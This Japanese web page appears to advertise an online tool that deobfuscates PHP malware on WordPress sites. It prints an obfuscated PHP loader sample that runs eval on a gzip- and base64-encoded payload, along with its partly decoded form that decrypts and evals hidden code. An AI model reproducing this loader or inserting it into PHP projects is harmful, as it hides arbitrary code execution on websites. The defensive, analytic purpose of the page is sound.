Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php goto Hiddenymouz; Gandrunx:'UZZQtyS5II0='; Hiddenymouz: define('__HIDDENCODE__',__FILE__); preg_replace("/.*/e",strrev(";)))'H4fjf60jI3pXCJXe6RikxHg1yIM2o73x3XImi0f6JfWL12+nnYimSUEqJKbQJ38rOUsXPfa4J8TFTSpkewqcTtP5bZv2pLKgowjUbTv0YZABpYXGTMVRW8Uq07woy8nRmuzU8HEQLLLe18oJo/Pkc9iIGTJ1JoKhWGVDWJvDfsqOpMlAR/SRMDzHPVWhqjENkghTm0UOTeqwuXwTXodKmCGmoNGY8JaqFuA16bV0iMOtK9GyZU+ZMniUS6utJPi+G8iGc72DDo19uUjRH62aqFChHO7J4SEARwSMQZ0oL34au1F6/6qereR38YhkgKOm6p4brRQGthCp37ylZfNq73k3xkNVxtmQp0JVNmSXTSUlMiE7z4RhwNIjV6/gZJbFkrMOg5ubbprX8h9A9vIo9t+2QN8T7fxZG0izFO0CVXy5rajV8CLpdTZmOS/UJDdb7rKpa1uOy+cb8/VN1OjZUuDupofYcC6auiqe49Rtd0Rl9TiYKmSqgQHyerpyN2Jwj0msKsZhnRHB7Xq5uWN7AKclwqzs9oZD1jVULY/4tB3t4gXIRyHawHd5Fiz7ox+3MeuIeZ/oypcAsdnIHVKfJMyEAp7mbke2SHGY55ltSdUqYMrVD+0nw5jpecDyfsxyqn3h9oCeKtapej4RZbWdeUqvebs9sUoYG3B4xgKDvmi5ELoaVbKqzdw+koHFRbkmwknwlqNhpuYphd3d2aHv/bDYdGcuMlTMl9tDhTqoiXWTRRhpIUyj3K5nAB3lQXC5g/iPNwfnxNK2tbPKL+zLWcsIcfAg8y5pDC4p1B/NjUhceuIs4OyRWSKRUF8aEqVpyZVS57WAPyht7oT8ER3r9YHPpjQWd02n0UXsfTIRLVJnWg3QrP6mDfRnE+UFLbvnT7aHeSKhLKx8BcnpTEnlNZ1HdEo1ABXW8s8lR1XFuDee1mRDIj8Mp4blzw9GN9PK2T+l+gcQnetALnitcGlzWEW9R4UDJHMppb6QThHyGM67sw4awPreKArwuaig6vVLj/Iu5+XURE9FYgetnpocSJO4JTJZvn+27j3/v+X2IDx5daLP27GxJCe0jmyQp/I1kF1wiCINC4g5ECNEwJqgpOhAnHScgiRQQJrUqQ0x+W9R1CYa9WNeX6CwDgURai0wBRvK7NqrgeaIK2eDi/CgH6jmFhBDppaQem1K9khD8Db7oVkMIbOjI4LCntcwyDkVPPaBSpbN8XItn9AyTXUmBWRJJEqlk3r7wOipx1wmg2SQsAKmKt48TLcuj2SWze3KmCJfcoNyEaptwB4dWFHMH67DcZDvJ2HqqQ8F5Mg9cdukeRg9V39sFmLJ7KAj4DeJAd/kRu2xTQrs8hOxWxdLeINZZ3N+tHv93tHv/8uJMBqUMPs4EDOpLuB+q/3al5CkOQLwuuuBko1m3Nwn3aE6wNPeo29V8fj8f4Mm4if1Shfr5fXFP/44fY/dPuva2gJJja6pum2yM7Tuz/qlYYDscMLC1lfdraL/YM0NTC9da5f+PfC2kp1bmNDbd5NPcx6oajk///01dLf+/+1DPTP///xXzr//e4/nXi8tdhhwxdQBKm8oDYfr/lM3gBuwsMZgXJnM15pFUVXmhGKhxEUNCu1U4gjP1lzoQwwxATGuWnfhrdpN2VHrO4/wfDOKQ3wXCmshB/ltU9NjkdVYUKkwPgnZ8rzKmTNDIUGVADAKXDgaBjO+iuAbGAzdCz/esvsLDV+rZdwdUTZQF0D+SiAYuQzXGa+GX8yoKCmvSFsrDmPd8pnPKAcXXkcNROmcM8Fm9jJf3UOwmPB4Uv+8isLJXex1b6+HO8hJ77UuDEe0trztYKSykhS0Em9CZM0PXffdzP9AEohqZjADNMz0q4ZSVJLnHGizyVA57x+pXQCZACPCWToGRgW7J6Cc1dmKdX+x2fqFtCCESq97qYlTTxFXQ6HEGNqcNfVh'(edoced_46esab(etalfnizg(lave"),""); __halt_compiler();
<?php Hiddenymouz: define('__HIDDENCODE__', "/var/www/html/input.php"); eval { error_reporting(0); $GLOBALS["glxfotsv"] = "v"; $GLOBALS["kkdogycytn"] = "e"; $GLOBALS["thrhrzgb"] = "x"; $GLOBALS["onapiwho"] = "z"; $GLOBALS["ugtifknwl"] = "c"; $GLOBALS["vfhmbluqsmvr"] = "source"; function O000000000() { return "T`&\33M`NZOY"; } function OO00000000() { return array("94", "182", "99", "131", "92", "189", "92", "148", "85", "146"); } function OOO0000000() { return OOOOOOOO00(OOOOOOO000(OOOOOO0000(O000000000() . OOOOO00000() . OOOO000000()))); } function OOOO000000() { $fpkjnfzx = "source"; $xrvlbcly = "x"; $source = OOOOOOO000(__HIDDENCODE__); if (preg_match("/Hiddenymouz/i", $source)) { $nxxufyyumpg = "z"; $GLOBALS["lvjyeiaw"] = "c"; $z = explode("Gandrunx:'", $source); $c = explode("'", $z[1]); $x = OOOOOOOO00($c[0]); } else { $x = "EAC>"; } return ${$xrvlbcly}; } function OOOOO00000() { $pelmiwsszrml = "o"; $GLOBALS["rlusydiims"] = "e"; $e = ""; $x = OO00000000(); foreach ($x as $o) { $xqnrht = "o"; if (preg_match("#^[0-9]+\$#", $o)) { $qrvpgdzc = "e"; $egsfhh = "o"; $e .= chr($o); } else { $GLOBALS["mbcqslq"] = "o"; $e .= stripslashes($o); } } return $e; } function OOOOOO0000($x) { $cndgjvczqqo = "v"; $GLOBALS["rccekeppy"] = "c"; $GLOBALS["idbeysc"] = "v"; $GLOBALS["rgfhpa"] = "v"; $z = strlen($x); $GLOBALS["gtcupsyzpmy"] = "z"; $c = ""; for ($v = 0; ${$cndgjvczqqo} < $z; $v++) { if ($v % 2 == 0) { $GLOBALS["ynkggtsocs"] = "c"; $GLOBALS["ockmafuf"] = "x"; $c .= chr(ord($x[$v]) + 20); } else { $GLOBALS["mcmnnvhbsge"] = "x"; $c .= chr(ord($x[$v]) - 85); } } return $c; } function OOOOOOO000($x) { $GLOBALS["yysmgkk"] = "x"; return file_get_contents($x); } function OOOOOOOO00($x) { $GLOBALS["shrmbjnyekjj"] = "x"; return base64_decode($x); } return eval("?>" . OOOOOO0000(OOO0000000())); }; __halt_compiler();
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.